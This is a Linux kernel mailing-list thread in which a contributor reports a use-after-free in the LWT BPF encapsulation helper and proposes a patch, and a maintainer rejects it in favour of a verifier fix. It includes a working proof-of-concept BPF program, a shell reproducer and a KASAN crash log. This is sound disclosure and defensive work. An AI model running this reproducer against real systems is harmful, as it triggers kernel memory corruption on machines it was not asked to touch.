[PATCH net 0/1] net: lwt_bpf: preserve encap header across skb head realloc

[PATCH net 0/1] net: lwt_bpf: preserve encap header across skb head realloc

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated a use-after-free issue in net/core/lwt_bpf.c.
The bug can be triggered by an LWT BPF program requesting more headroom
than the skb currently has, leading to a slab-use-after-free read.
We have tested it, and it should not affect any other functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11304

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

=== details below ===

Bug details:

The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to
satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument.

In bpf_lwt_push_ip_encap(), skb_cow_head() is called to expand headroom.
If the skb headroom is insufficient or the skb is cloned,
skb_cow_head() invokes pskb_expand_head(), which allocates a new head
buffer and frees the old one. If the encapsulation header pointer hdr
points into the skb head, it becomes stale after reallocation.
Subsequent reads of iph and hdr in skb_postpush_rcsum(), UDP tunnel
header handling, and memcpy() lead to a use-after-free read.

Fix this by copying the encapsulation header into a local buffer if
hdr points into the skb head, preserving it across skb_cow_head().

Reproducer:

The reproducer attaches an LWT_XMIT BPF program to an IPv4 route via
"encap bpf xmit". The BPF program obtains an skb-backed dynptr slice
and calls bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, 256).
A subsequent packet transmission triggers skb_cow_head() reallocation.

We run the PoC in an x86 QEMU environment.

=== BEGIN poc.bpf.c ===
    // SPDX-License-Identifier: GPL-2.0
    #include <linux/bpf.h>
    #include <linux/ip.h>

    #define HDR_LEN 256

    #define SEC(name) __attribute__((section(name), used))
    #define __ksym __attribute__((section(".ksyms")))
    #define __weak __attribute__((weak))

    extern int bpf_dynptr_from_skb(struct __sk_buff *skb, __u64 flags,
    			       struct bpf_dynptr *ptr__uninit) __ksym __weak;
    extern void *bpf_dynptr_slice(const struct bpf_dynptr *ptr,
				  __u32 offset, void *buffer,
				  __u32 buffer__szk) __ksym __weak;

    static long (*bpf_lwt_push_encap)(struct __sk_buff *skb, __u32 type,
    				  void *hdr, __u32 len) =
    	(void *)BPF_FUNC_lwt_push_encap;

    SEC("lwt_xmit")
    int trigger(struct __sk_buff *skb)
    {
    	struct bpf_dynptr ptr;
    	void *hdr;

    	if (bpf_dynptr_from_skb(skb, 0, &ptr))
    		return BPF_OK;

    	if (skb->len < HDR_LEN)
    		return BPF_OK;

    	hdr = bpf_dynptr_slice(&ptr, 0, NULL, HDR_LEN);
    	if (!hdr)
    		return BPF_OK;

    	bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, HDR_LEN);
    	return BPF_OK;
    }

    char _license[] SEC("license") = "GPL";
=== END poc.bpf.c ===

=== BEGIN poc.sh ===
    #!/bin/sh
    set -eu

    DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    ROUTE_CIDR=${ROUTE_CIDR:-10.0.0.0/24}
    SRC_IP=${SRC_IP:-10.0.0.1}
    DST_IP=${DST_IP:-10.0.0.2}
    PING_SIZE=${PING_SIZE:-400}
    PING_COUNT=${PING_COUNT:-10}
    DEV=${DEV:-dummy0}

    cleanup() {
    	ip route del "$ROUTE_CIDR" 2>/dev/null || true
    	ip link del "$DEV" 2>/dev/null || true
    	ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true
    }

    trap cleanup EXIT

    echo 0 > /proc/sys/kernel/panic_on_warn

    ip route del "$ROUTE_CIDR" 2>/dev/null || true
    ip link del "$DEV" 2>/dev/null || true
    ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true

    ip link add "$DEV" type dummy
    ip link set lo up
    ip addr add "$SRC_IP/32" dev lo
    ip link set "$DEV" up
    ip route add "$ROUTE_CIDR" dev "$DEV" \
        encap bpf xmit obj "$DIR/poc.bpf.o" sec lwt_xmit

    i=1
    while [ "$i" -le "$PING_COUNT" ]; do
    	ping -c 1 -W 1 -s "$PING_SIZE" -I "$SRC_IP" "$DST_IP" \
    		>/dev/null 2>&1 || true
    	i=$((i + 1))
    done
=== END poc.sh ===

=== BEGIN crash log ===
    [  638.779599] [  T10729] BUG: KASAN: slab-use-after-free in bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779680] [  T10729] Read of size 256 at addr ffff88810c74e410 by task ping/10729
    [  638.779715] [  T10729] CPU: 3 UID: 0 PID: 10729 Comm: ping Not tainted 6.12.95 #2
    [  638.779727] [  T10729] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
    [  638.779749] [  T10729] Call Trace:
    [  638.779761] [  T10729]  <TASK>
    [  638.779765] [  T10729]  dump_stack_lvl+0x78/0xe0
    [  638.779831] [  T10729]  print_report+0xc6/0x620
    [  638.779888] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779893] [  T10729]  ? srso_alias_return_thunk+0x5/0xfbef5
    [  638.779923] [  T10729]  ? __virt_addr_valid+0x1f3/0x3d0
    [  638.779976] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.779981] [  T10729]  kasan_report+0xd8/0x110
    [  638.779989] [  T10729]  ? bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.780000] [  T10729]  kasan_check_range+0xf4/0x1a0
    [  638.780015] [  T10729]  __asan_memcpy+0x23/0x60
    [  638.780021] [  T10729]  bpf_lwt_push_ip_encap+0x805/0x1ac0
    [  638.780027] [  T10729]  ? srso_alias_return_thunk+0x5/0xfbef5
    [  638.780034] [  T10729]  bpf_lwt_xmit_push_encap+0x2b/0x40
    [  638.780053] [  T10729]  bpf_prog_62cb242b810c4a7f_trigger+0x6b/0x74
    [  638.780067] [  T10729]  run_lwt_bpf.isra.0+0x32f/0x8c0
    [  638.780148] [  T10729]  ? lwtunnel_xmit+0x102/0x4e0
    [  638.780157] [  T10729]  bpf_xmit+0x139/0x380
    [  638.780164] [  T10729]  lwtunnel_xmit+0x1f7/0x4e0
    [  638.780169] [  T10729]  ip_finish_output2+0x8be/0x1eb0
    [  638.780233] [  T10729]  ip_output+0x171/0x3b0
    [  638.780240] [  T10729]  ip_push_pending_frames+0x1e6/0x250
    [  638.780246] [  T10729]  ping_v4_sendmsg+0x719/0x16e0
    [  638.780343] [  T10729]  __sys_sendto+0x32e/0x3a0
    [  638.780395] [  T10729]  __x64_sys_sendto+0xe0/0x1c0
    [  638.780448] [  T10729]  do_syscall_64+0xc7/0x270
    [  638.780455] [  T10729]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
    [  638.780534] [  T10729]  </TASK>
=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  net: lwt_bpf: preserve encap header across skb head realloc

 net/core/lwt_bpf.c | 6 ++++++
 1 file changed, 6 insertions(+)

-- 
2.43.0

[PATCH net 1/1] net: lwt_bpf: preserve encap header across skb head realloc

[Ren Wei]

From: Luxiao Xu <rakukuip@gmail.com>

The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to
satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument.

In bpf_lwt_push_ip_encap(), skb_cow_head() is called to expand headroom.
If the skb headroom is insufficient or the skb is cloned,
skb_cow_head() invokes pskb_expand_head(), which allocates a new head
buffer and frees the old one. If the encapsulation header pointer hdr
points into the skb head, it becomes stale after reallocation.
Subsequent reads of iph and hdr in skb_postpush_rcsum(), UDP tunnel
header handling, and memcpy() lead to a use-after-free read.

Fix this by copying the encapsulation header into a local buffer if
hdr points into the skb head, preserving it across skb_cow_head().

Fixes: 52f278774e79 ("bpf: implement BPF_LWT_ENCAP_IP mode in bpf_lwt_push_encap")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Closes: https://bugtracker.nebusec.ai/f/11304
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/core/lwt_bpf.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/net/core/lwt_bpf.c b/net/core/lwt_bpf.c
index da49364ec63d..15b753a67452 100644
--- a/net/core/lwt_bpf.c
+++ b/net/core/lwt_bpf.c
@@ -604,6 +604,7 @@ static int handle_gso_encap(struct sk_buff *skb, bool ipv4, int encap_len)
 
 int bpf_lwt_push_ip_encap(struct sk_buff *skb, void *hdr, u32 len, bool ingress)
 {
+	u8 hdr_buf[LWT_BPF_MAX_HEADROOM];
 	bool is_udp_tunnel;
 	struct iphdr *iph;
 	bool ipv4;
@@ -612,6 +613,11 @@ int bpf_lwt_push_ip_encap(struct sk_buff *skb, void *hdr, u32 len, bool ingress)
 	if (unlikely(len < sizeof(struct iphdr) || len > LWT_BPF_MAX_HEADROOM))
 		return -EINVAL;
 
+	if ((u8 *)hdr >= skb->head && (u8 *)hdr < skb_end_pointer(skb)) {
+		memcpy(hdr_buf, hdr, len);
+		hdr = hdr_buf;
+	}
+
 	/* validate protocol and length */
 	iph = (struct iphdr *)hdr;
 	if (iph->version == 4) {
-- 
2.43.0

Re: [PATCH net 1/1] net: lwt_bpf: preserve encap header across skb head realloc

[Alexei Starovoitov]

On Fri, Oct 09, 2026 at 12:59 AM Ren Wei <weir@nebusec.ai> wrote:
> The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to
> satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument.

That's the bug. Fix it there.
PTR_TO_PACKET is rejected as 'hdr', since the helper doesn't have
pkt_access. None of the helpers in bpf_helper_changes_pkt_data() do.
The slice of skb dynptr is the same memory, but it's PTR_TO_MEM
and check_helper_mem_access() lets it through.

> Fixes: 52f278774e79 ("bpf: implement BPF_LWT_ENCAP_IP mode in bpf_lwt_push_encap")

Wrong tag. There was no way to pass skb memory into this helper before
commit 66e3a13e7c2c ("bpf: Add bpf_dynptr_slice and bpf_dynptr_slice_rdwr").

> +	if ((u8 *)hdr >= skb->head && (u8 *)hdr < skb_end_pointer(skb)) {
> +		memcpy(hdr_buf, hdr, len);
> +		hdr = hdr_buf;
> +	}

Patching it in one spot doesn't help.
BPF_LWT_ENCAP_SEG6 mode of the same helper does skb_cow_head() and then
memcpy(isrh, osrh, hdrlen) in __seg6_do_srh_encap().
bpf_skb_store_bytes() does bpf_try_make_writable() and then
memcpy(ptr, from, len). When offset is in frags __pskb_pull_tail()
reallocates the head and 'from' is stale.
bpf_dynptr_write() into skb dynptr and the rest of seg6 helpers
are the same.

Reject reg_is_dynptr_slice_pkt() arguments in the helpers that
change packet data.
commit a6c1edfbe240 ("bpf: Reject pkt arguments in mutating subprogs")
did that for global subprogs.
ing_cls_dynptr_write() in test_xdp_meta.c will need an update.

Add a selftest and target bpf-next tree instead of net.

pw-bot: cr